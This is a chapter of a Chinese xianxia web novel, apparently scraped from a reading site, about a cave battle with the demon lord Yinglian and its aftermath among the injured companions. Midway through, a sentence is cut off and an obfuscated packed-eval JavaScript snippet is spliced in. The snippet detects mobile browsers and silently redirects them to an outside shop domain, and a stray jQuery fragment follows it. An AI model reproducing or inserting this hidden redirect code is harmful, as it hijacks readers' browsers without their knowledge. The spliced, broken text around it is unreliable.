英怜定在原地,十分惊诧。

    “你怎么会——”

    步虚声却并不理他,希音赶忙上前扶起步虚声。

    “南大哥,先将官枳叹送走再说。”步虚声道。

    南之木点头,手中的剑一挥便斩断了官枳叹身上的铁链。

    官枳叹仍然在昏迷中,希音和步虚声将她扶着,便往洞外走。南之木手中举着双剑,一脸警戒地向后退。

    英怜仍然在原地定着,眼睁睁地看着他们离去。

    “你们先将公主送走,此人不是等闲之辈,就算打起来也休要恋战。”南之木皱眉叮嘱道。

    眼见着他们就要走向隧道了,英怜的头发突然张扬着向他们扑来。

    一道金光闪过,官浔身前蓦地出现乾坤印。

    “镇!”

    话音一落,那些头发便全部落在了地上,不再向前。

    “之前小瞧了你们是本座的不对,只可惜,本座不打算继续陪你们玩了。”

    英怜笑着扭了扭脖子,又活动了一下筋骨。

    “今日,你们一个也别想走!”

    南之木急切道:“小浔,你快带他们先走,我留下来断后。”

    说罢提起双剑,脚尖在石壁上一点,飞身向英怜攻去。

    “那法阵并未关闭,花孔雀你带他们走,我去帮他。”

    官浔手臂一挥,乾坤印围绕着英怜高速旋转着,形成了道道残影。

    “总不能留他们二人独自对抗魔君——喜忧姐,你想法子让官枳叹先醒来,一会儿要跑也方便些。”希音皱眉道。

    方喜忧指尖在官枳叹眉心轻轻一点,“这个简单。”

    希音点点头,转身准备加入战场帮忙。

    下一秒却被人攥住了衣角。

    “这是哪儿……阿音哥哥我怕,你别走!”官枳叹抽泣道。

    希音蹙眉道:“公主,我现在没空陪你闹。你一会儿见情况不对就跑,我要去帮忙了。”

    可官枳叹仍然是死死攥住他的衣角不放手。

    希音眼神一冷,想要用力抽出衣袍,步虚声拦住他。

    “你在这儿保护她们,我去帮忙。”

    希音无奈道:“那你小心些,自身安危要紧。”

    步虚声点点头,手中重新现出九枝灯。

    “昭昭九天,吾身为令。”

    “九灯之下,映尔身形。”

    “三灯灭——定!”

    英怜一怔,南之木手中的剑从他脸上擦过,留下一道血痕。

    眼见着乾坤印也要撞来了,英怜眉头一拧,伸出左手挡住了乾坤印的攻势。

    步虚声额头冒出细密的汗来,她此前从未遇见过三盏灯也没法定住的人。

    她咬咬牙,伸出左手一齐捏印。

    “六灯灭——定!”

    可英怜只是停住了几秒,又恢复了行动。

    “我本不欲伤你,但现在看来还是要先解决你。”英怜怒道。

    下一秒,所有头发向步虚声攻来,而步虚声只站在原地不动。

    “声声!”其他几人急道。

    那头发此刻如利剑一般袭来,官浔忙催动乾坤印上前护住步虚声,但仍有几缕如剑般的头发穿过了步虚声的身体。

    “八灯灭——定!”步虚声咬着牙道。

    英怜被彻底定住。

    步虚声呕出一口血,身上的伤口不断有血汩汩流出。

    希音扇子一挥,直接割断了官枳叹死抓着不放的衣角,上前接住了步虚声。

    英怜被南之木一剑捅穿了心脏,软软地倒在了地上。

    “喜忧姐,你快来看看声声,她晕过去了!”

    方喜忧点点头,向步虚声走过来。

    “小心——”杏桃花话还说完,脖子就被头发缠绕住,整个人被托了起来。

    不只是她,那一刻几股头发分别向五人袭去。

    希音和南之木堪堪躲过,方喜忧、官浔和杏桃花三人的脖子和四肢都被那些头发缠住了。

    希音和南之木一边躲着英怜头发的攻击,一边找机会向他攻去。

    英怜见状,轻蔑一笑,一掌向晕倒的步虚声打去。

    希音一惊,迅速一闪,生生挨了这掌,噗的一声,吐出一大口鲜血。

    另一边,剩下的发丝都朝南之木攻去,如剑雨一般。南之木拼命用双剑抵挡着,但体力逐渐不支,露出一个破绽,被发丝缠绕上。

    官枳叹坐在地上吓傻了,惊恐地用手撑着身体后退几步。

    “本座说了,没兴趣陪你们玩了。”

    英怜擦了擦脸上的血痕。

    “你们不会天真地以为,本座被剑捅一下就能死吧?”

    他耸耸肩,慢慢地朝步虚声走去,颇为得意地面对希音的怒视。

    英怜笑了笑,“待本座改造完这个小美人,再挨个儿吸食你们的灵力。”

    希音攥紧手中的扇子,心中做好了同归于尽的打算。

    可下一秒,英怜忽然露出痛苦的神色。

    “什么——”

    他的一缕发丝忽然变成了白色,顺着那缕白发看去,头发缠着的正是方喜忧。

    方喜忧此刻又变成了三界大比时的状态,发丝飘舞着,眼神没有聚焦,整个人看起来已失了神志。

    “怎么会——你怎么能吸取我的力量……”

    英怜痛苦地跪了下去,想要向方喜忧攻去,但他身上的黑色魔气正源源不断地涌向方喜忧。

    缠绕着其他人的发丝也逐渐变白,再没了之前的力道。几人都落了下来,大口大口地呼吸着空气。

    方喜忧仍然在吸食英怜的魔气,英怜的一头乌发此刻已经全白了,渐渐退回到原有的长度。

    南之木见方喜忧的状态越来越不对劲,急忙开口道:“喜忧!”

    方喜忧似是完全没听见一般,一步一步地朝英怜走去。

    南之木身形一闪,打晕了方喜忧。

    英怜抓住这一刻的空隙,化作一团魔气,逃出了洞内。

    “南大哥,他——”杏桃花有些担心道。

    南之木摇了摇头,“穷寇莫追。他如今被喜忧吸了不少魔气,需要找地方恢复许久,短期内应该不会再来找麻烦了。”

    步虚声此刻也悠悠醒转过来,只是身上伤势过重,起不了身。

    希音忍着痛,将步虚声扶起揽在自己怀中。

    南之木也抱起方喜忧朝他们这里走来。

    “声声,你感觉如何?”希音担忧道。

    步虚声的声音听起来有些虚弱,“暂时……没什么大事……”

    “官浔,我问你。”

    南之木忽而转头看向官浔,语气十分严肃。

    官浔一愣。

    “进来之前,我让你护好喜忧和小桃花。方才打起来之前我又对你说,让你带着他们先走。”

    “我问你,你为什么不听指挥?”

    南之木从三界大比与他们见面以来,从来没有发过怒。此时显然是真的生气了,整个人阴沉着脸,看着十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600003|203044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分骇人。

    官浔怔怔地看着他,嘴巴张了张最后还是没说话。半晌别过头去,但眼眶已是红了。

    希音拦道:“老大,回去再说。”

    南之木不再看官浔,抱着方喜忧转身走进了隧道。

    杏桃花眼神在南之木的背影和官浔之间瞟来瞟去,最后选择扶起官枳叹,跟上了南之木。

    希音本想抱起步虚声,但他刚刚接了英怜那一掌尚未恢复,步虚声轻轻地拍了拍他,两个人几乎是相互搀扶着起了身。

    “小浔,走吧。”步虚声轻声道。

    官浔飞快地摸了一下脸,转过头来小步跑到他们旁边,小心翼翼地搀着步虚声。

    几人从湖面探起头时把一直守在湖边的守兵吓了一跳,秋霜远远见着他们脸色都不太好,忙找人用船去接了回来。

    “殿下你可算回来了,吓死婢子了!”秋霜哭道。

    官枳叹眼神有些呆滞,见着是她点点头,下一秒就晕了过去。

    “无妨,你家殿下只是受了惊吓,休息一晚就好了。”南之木解释道。

    秋霜看见他怀里的方喜忧,问道:“南公子,这到底是发生——”

    话还未说完,才刚上岸的希音和步虚声两个人便一起晕了过去,倒在地上。

    “秋霜姑娘,烦请你将医官找来,我们都受了伤。”

    秋霜见状,忙点了点头道:“请公子放心。”

    步虚声昏睡了三日才醒来。

    睁眼时看见希音斜倚在床边,看起来是睡着了。

    步虚声有些愣怔。

    她迷迷糊糊地睡了许久,梦到了在三生殿的日子,睁眼时还有些糊涂,以为自己又回到了空旷的三生殿,像是五年前第一次醒来时一样。

    “希……音……”她嗓子有些干涩。

    希音立刻睁了眼,看见她醒来漾开一抹笑容。

    “声声,你要喝水么?我马上给你倒!”

    他将茶杯端来,又吹了吹。步虚声想要起身,可伤口还是针扎一般疼。

    希音宽慰似的笑了笑,将水放下,又将她扶起让她靠着自己,一口一口地喂水。

    “你没事吗?”步虚声隐约记得他也受了伤,只是她当时晕过去了,也不知道他受的什么伤。

    希音轻轻笑了笑,随意道:“我本就伤得不重,睡一晚就好了。”

    步虚声见他不说,也不多问。她转过头,看见桌子上放了她当日穿的衣物,想来是秋霜她们帮忙换过了。

    忽然,她一愣,下意识地想要摸自己头。

    “怎么了怎么了?你要做什么,我帮你。”希音见她要动,紧张道。

    步虚声低声道:“你的簪子……似乎在打斗时碎了。”

    希音见她一脸歉疚,心中不知为何有些发热。

    “那可是我最喜欢的簪子,怎么就这么碎了啊……”他佯装可惜道。

    “你放心,我一定会赔你一个的!”步虚声急道。

    希音笑了笑,柔声道:“好啦,我不要你赔。一根簪子而已,碎了便碎了。”

    步虚声还欲再说,门却打开了。

    南之木进来,看见步虚声已经醒了。他反应过来,想要退后一步补上敲门的动作,但最后还是十分轻快地走了过来。

    “声声,你恢复的怎么样?”

    步虚声笑了笑,“不碍事,过两天便好了。你们呢?”

    南之木叹口气,“其他的人本来也没受你这样重的伤,休息两天便缓过来了。只是喜忧——”